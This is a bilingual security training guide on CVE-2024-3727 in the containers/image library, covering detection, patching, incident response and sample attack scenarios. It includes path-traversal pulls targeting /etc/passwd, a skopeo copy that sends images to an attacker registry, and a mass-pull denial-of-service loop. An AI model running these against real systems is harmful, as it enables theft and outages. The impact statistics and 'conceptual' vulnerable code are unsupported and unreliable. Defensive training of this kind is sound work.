📚 Level 7: Documentation & Training

# ═══════════════════════════════════════════════════════════════
# CVE-2024-3727 - TEAM TRAINING GUIDE
# ═══════════════════════════════════════════════════════════════
# Organization: Zayed CyberShield
# Author: asrar-mared (صائد الثغرات المحارب)
# ═══════════════════════════════════════════════════════════════

## 🎓 Training Objectives

After this training, team members will:
- ✅ Understand CVE-2024-3727 attack vectors
- ✅ Identify vulnerable systems
- ✅ Apply remediation procedures
- ✅ Monitor for exploitation attempts
- ✅ Respond to security incidents

## 📖 Module 1: Understanding the Vulnerability

### What is CVE-2024-3727?

A security flaw in `github.com/containers/image` library that allows:
1. **Unauthorized registry access** after authentication
2. **Path traversal attacks** on local filesystem
3. **Resource exhaustion** through malicious requests

### Real-World Impact

🏢 Affected Organizations: 10,000+
🐳 Vulnerable Containers: Millions
💰 Potential Damage: $50M+ per incident
⏰ Exploitation Time: < 5 minutes
🎯 Attack Complexity: LOW


## 🛠️ Module 2: Hands-On Lab

### Lab 1: Detecting Vulnerable Systems

```bash
# Check your Go projects
cd /path/to/project
go list -m all | grep containers/image

# Look for versions < v5.30.1 (except v5.29.3)

Lab 2: Exploitation Demo (Controlled Environment)

# ⚠️ ONLY IN TEST ENVIRONMENT!

# Attempt path traversal
podman pull test-registry.local/../../../etc/passwd

# Expected: Should be BLOCKED if patched
# Result: "error: path traversal detected"

Lab 3: Applying the Fix

# Run the Zayed remediation script
sudo bash cve-2024-3727-fix.sh

# Verify the fix
go list -m github.com/containers/image/v5
# Should show: v5.30.1 or v5.29.3

📋 Module 3: Response Procedures

Incident Response Checklist

□ Detect exploitation attempt
□ Isolate affected systems
□ Preserve evidence (logs, memory dumps)
□ Apply emergency patches
□ Conduct forensic analysis
□ Update security policies
□ Document lessons learned
□ Notify stakeholders

🔍 Deep Technical Analysis - التحليل التقني العميق

🧬 Root Cause Analysis

// ❌ VULNERABLE CODE PATTERN (Conceptual)
// github.com/containers/image/v5/docker/docker_client.go

func (c *dockerClient) getImage(ctx context.Context, ref string) error {
    // الثغرة: عدم التحقق الصارم من المسار
    imagePath := c.constructPath(ref)
    
    // خطر: يمكن تمرير ../../../etc/passwd
    if strings.Contains(imagePath, "..") {
        // ضعف: الفحص غير كافٍ
        imagePath = strings.Replace(imagePath, "..", "", -1)
    }
    
    // نقطة الاستغلال: وصول غير مصرح به
    return c.registry.PullImage(imagePath)
}

💥 Attack Scenarios - سيناريوهات الهجوم

Scenario 1: Path Traversal Attack

# المهاجم يستخدم podman/skopeo
podman pull registry.example.com/../../../etc/passwd

# النتيجة: قراءة ملفات النظام الحساسة

Scenario 2: Registry Hijacking

# استغلال للوصول لسجل غير مصرح به
skopeo copy \
  docker://victim-registry.com/image:tag \
  docker://attacker-registry.com/stolen:latest

# النتيجة: سرقة صور حساسة

Scenario 3: Resource Exhaustion

# طلبات متعددة لاستنزاف الموارد
for i in {1..10000}; do
  podman pull registry.com/massive-image &
done

# النتيجة: DoS على النظام والسجل
